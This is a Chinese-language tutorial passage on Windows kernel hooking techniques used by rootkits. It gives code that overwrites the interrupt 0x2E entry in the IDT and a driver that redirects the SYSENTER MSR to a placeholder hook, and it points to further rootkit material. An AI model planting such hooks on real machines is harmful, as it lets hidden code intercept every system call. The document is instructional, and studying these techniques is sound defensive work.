二.IDT hook
(一)基本思路:IDT(Interrupt Descriptor Table)中断描述符表,是用来处理中断的。中断就是停下现在的活动,去完成新的任务。一个中断可以起源于软件或硬件。比如,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是经常的,这个中断就能触发。我们现在就想办法,先在系统中找到IDT,然后确定0x2E在IDT中的地址,最后用我们的函数地址去取代它,这样以来,用户的进程(可以特定设置)一调用系统服务,我们的hook函数即被激发。
(二)需解决的问题:从上面分析可以看出,我们大概需要解决这几个问题:
1.IDT如何获取呢?SIDT指令可以办到,它可以在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起,我们可以用一个宏。IDTINFO,和宏的结构如下:
typedef struct
{
WORD IDTLimit;
WORD LowIDTbase; //IDT的低半地址
WORD HiIDTbase; //IDT的高半地址
} IDTINFO;
方便获取地址存取的宏
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
2.IDT有最多256个入口,我们现在要的是其中的0x2E,这个中断号的入口地址如何获取呢?
#pragma pack(1)
typedef struct
{
WORD LowOffset; //入口的低半地址
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset; //入口地址的低半地址
} IDTENTRY;
#pragma pack()
知道了这个入口结构,就相当于知道了每间房(可以把IDT看作是一排有256间房组成的线性结构)的长度,我们先获取所有的入口idt_entrys,那么第0x2E个房间的地址也就可以确定了,即idt_entrys[0x2E]。
3.如果得到了0x2e的地址,如何用我们的hook地址改写原中断地址呢? 见以下核心代码:
DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢复hook
#define NT_SYSTEM_SERVICE_INT 0x2e
//我们的hook函数
int HookInterrupts()
{
IDTINFO idt_info; //SIDT将返回的结构
IDTENTRY* idt_entries; //IDT的所有入口
IDTENTRY* int2e_entry; //我们目标的入口
__asm{
sidt idt_info; //获取IDTINFO
}
//获取所有的入口
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
//保存真实的2e地址
KiRealSystemServiceISR_Ptr =
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
//获取0x2E的入口地址
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // 屏蔽中断,防止被打扰
lea eax,MyKiSystemService; // 获得我们hook函数的地址,保存在eax
mov ebx, int2e_entry; // 0x2E在IDT中的地址,ebx中分地高两个半地址
mov [ebx],ax; // 把我们hook函数的地半地址写入真是第半地址
shr eax,16 //eax右移16,得到高半地址
mov [ebx+6],ax; // 写入高半地址
sti; //开中断
}
return 0;
}
具体代码见:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
(三)注意点:
1.每个处理器都有个IDT,所以对于多CPU一定要注意,所有的IDT都要hook。
2.在winxp,win2k3,vsta下失效。
三.SYSENTRY hook
为了性能的考虑,xp后的系统都改用sysentry命令来进入ring0,去调用SSDT中的服务,不再是通过IDT中的 int 2E。这也使得我们hook也变得相对容易了。
首先获得sysentry的地址,然后改之,不用再考虑IDT了。见下面的代码:
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called/n");
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry] //这啥都没做,换成你想干的
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // 读IA3_SYSENTER_EIP寄存器值,存有sysenter的地址
mov d_origKiFastCallEntry, eax //保存原值,以便恢复
mov eax, MyKiFastCallEntry // hook函数地址
wrmsr // 将hook函数移入IA32_SYSENTER_EIP寄存器
}
return STATUS_SUCCESS;
}
基本的改变数据结构的hook就说到这里,当然还有DKOM这种高级的技术,有兴趣的自己去看看吧。